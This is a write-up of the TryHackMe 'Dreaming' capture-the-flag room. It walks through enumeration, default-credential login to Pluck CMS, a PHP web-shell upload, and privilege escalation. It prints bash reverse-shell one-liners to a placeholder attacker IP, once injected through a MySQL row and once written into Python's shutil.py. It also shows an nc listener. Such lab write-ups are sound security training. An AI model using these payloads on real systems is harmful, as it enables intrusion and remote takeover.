Dreaming – TryHackMe CTF writeup

Description

https://tryhackme.com/room/dreaming

Solve the riddle that dreams have woven.
While the king of dreams was imprisoned, his home fell into ruins.
Can you help Sandman restore his kingdom?

Port scanning

-Pn forces a full TCP scan even when the host blocks ICMP ping – many hardened labs drop ping packets.

nmap -A -p- -T5 -Pn 10.81.188.191

Web Enumeration

The host answered on port 80 with a default Apache page.
Next, enumerate hidden directories:

# First generic brute‑force
feroxbuster -u http://10.81.188.191:80 -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt

# Then a CMS‑specific wordlist (Pluck)
feroxbuster -u http://10.81.188.191/app/pluck-4.7.13/ \
            -w /usr/share/wordlists/webapp-wordlists/Content-Management-System-(CMS)/pluck/pluck.txt

Initial Access – Default Credentials

Visiting the discovered Pluck admin interface revealed a login page.
Password was password.

Exploiting Pluck CMS – Unrestricted File Upload

I found two CVE related to Pluck that I can use to get initial access:

CVE‑2023‑25828Allows arbitrary file upload to album directories.
CVE‑2025‑46099Same issue, confirmed in newer Pluck releases.

https://www.blackduck.com/blog/a-deep-dive-on-pluck-cms-vulnerability-cve-2023-25828.html

https://feedly.com/cve/CVE-2025-46099

Crafting the Web Shell

  1. Create an album called test1 via the admin UI.
  2. Upload a benign image named shell.php.jpg.
  3. Intercept the POST request with Burp Suite.
  4. Modify the filename parameter back to shell.php and send.
  5. access uploaded file via http://10.81.188.191/app/pluck-4.7.13/data/settings/modules/albums/album1/shell.php
  6. The server validates only the file extension supplied by the client. By rewriting the header, we force the backend to store the file with a .php extension, which Apache executes as code.

Privilege escalation ⇾ lucien

Finding Hard‑Coded Secrets

Browsing /opt/test.py revealed hardcoded lucien password:

Sudo

Running sudo -l as lucien displayed:

There is python script in /opt and it reads from a MySQL database and prints each record using:

command = f"echo {dreamer} + {dream}"

The dream field is interpolated directly into a shell command – we can try command injection.

Command Injection → Reverse Shell as death

We need to insert a command into the database and run a script to execute it as death user. But first, we need database credentials. Credentials are in .bash_history file of lucien user.

Insert to database:

mysql -u lucien -p
use library;

INSERT INTO dreams (dreamer, dream) VALUES (
    'pwn',
    '$(/bin/bash -c "bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1")'
);

Triggering execution

# start listener on your machine:
nc -nlvp 4444
# trigger execution of script as death user on target machine
sudo -u death python3 /home/death/getDreams.py

Privilege escalation ⇾ morpheus

pspy64 showed a recurring process:

/usr/bin/python3.8 /home/morpheus/restore.py
#Contents of restore.py:

from shutil import copy2 as backup

src_file = "/home/morpheus/kingdom"
dst_file = "/kingdom_backup/kingdom"
backup(src_file, dst_file)
print("The kingdom backup has been done!")

Because shutil lives under /usr/lib/python3.8/shutil.py, a user with write access to that path can replace it:

echo "import os; os.system('bash -c \"bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1\"')" > /usr/lib/python3.8/shutil.py

When restore.py imports shutil, our malicious version executes, granting a root reverse shell.